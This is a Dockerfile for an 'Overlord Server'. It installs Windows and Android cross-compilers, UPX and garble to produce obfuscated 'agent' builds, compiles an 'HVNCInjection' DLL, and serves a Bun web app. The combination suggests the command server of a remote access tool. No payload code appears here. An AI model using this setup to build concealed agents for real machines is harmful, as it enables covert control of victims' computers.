98 lines
3.1 KiB
Docker
98 lines
3.1 KiB
Docker
# syntax=docker/dockerfile:1.7
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# Overlord Server Dockerfile
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FROM oven/bun:1 AS base
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WORKDIR /app
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# Install Go for agent building and other tools
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RUN apt-get update \
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&& apt-get install -y --no-install-recommends \
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build-essential \
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gcc-mingw-w64-x86-64 \
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gcc-mingw-w64-i686 \
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openssl \
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curl \
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ca-certificates \
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wget \
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git \
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unzip \
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upx-ucl \
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&& rm -rf /var/lib/apt/lists/*
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# Install Go (latest stable version)
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ENV GO_VERSION=1.25.6
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ARG TARGETARCH
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RUN case "${TARGETARCH}" in \
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amd64) GO_ARCH=amd64 ;; \
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arm64) GO_ARCH=arm64 ;; \
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*) echo "Unsupported architecture: ${TARGETARCH}" >&2; exit 1 ;; \
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esac \
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&& wget -q https://go.dev/dl/go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \
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&& tar -C /usr/local -xzf go${GO_VERSION}.linux-${GO_ARCH}.tar.gz \
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&& rm go${GO_VERSION}.linux-${GO_ARCH}.tar.gz
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ENV PATH="/usr/local/go/bin:${PATH}"
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ENV GOPATH="/go"
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ENV PATH="${GOPATH}/bin:${PATH}"
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ENV GOCACHE=/root/.cache/go-build
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ENV GOMODCACHE=/go/pkg/mod
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# Install garble for obfuscated agent builds (requires Go 1.25+)
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RUN --mount=type=cache,target=/root/.cache/go-build \
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--mount=type=cache,target=/go/pkg/mod \
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go install mvdan.cc/garble@latest
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# Install Android NDK for Android cross-compilation
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ENV ANDROID_NDK_VERSION=r27c
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ENV ANDROID_NDK_HOME=/opt/android-ndk
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RUN case "${TARGETARCH}" in \
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amd64) NDK_HOST="linux-x86_64" ;; \
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arm64) NDK_HOST="linux-aarch64" ;; \
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*) echo "Unsupported architecture for Android NDK: ${TARGETARCH}" >&2; exit 1 ;; \
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esac \
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&& wget -q "https://dl.google.com/android/repository/android-ndk-${ANDROID_NDK_VERSION}-linux.zip" \
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&& unzip -q android-ndk-${ANDROID_NDK_VERSION}-linux.zip \
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&& mv android-ndk-${ANDROID_NDK_VERSION} ${ANDROID_NDK_HOME} \
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&& rm android-ndk-${ANDROID_NDK_VERSION}-linux.zip
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# Copy package files and lockfile
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COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
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# Install dependencies
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RUN bun install --frozen-lockfile
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# Copy source code and client code (needed for builds)
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COPY Overlord-Server/ ./
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COPY Overlord-Client/ ./Overlord-Client/
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# Copy HVNCInjection source and build script for cross-compilation
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COPY HVNCInjection/ ./HVNCInjection/
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COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
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# Use MSVC-built HVNCInjection DLL if present (preferred, from CI artifact).
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# Fall back to cross-compiling with mingw only if no pre-built DLL exists.
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RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
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echo "Using pre-built MSVC HVNCInjection DLL"; \
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else \
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chmod +x build-hvnc-dll.sh && \
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HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \
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echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \
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fi
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# Create necessary directories
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RUN mkdir -p certs public data
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# Build production server bundle and ensure Tailwind CSS is present
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RUN bun run build && test -s ./public/assets/tailwind.css
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# Expose the default port
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EXPOSE 5173
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# Set environment variables (can be overridden)
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ENV PORT=5173
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ENV HOST=0.0.0.0
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ENV DATA_DIR=/app/data
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ENV NODE_ENV=production
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# Run the production build
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CMD ["bun", "run", "dist/index.js"]
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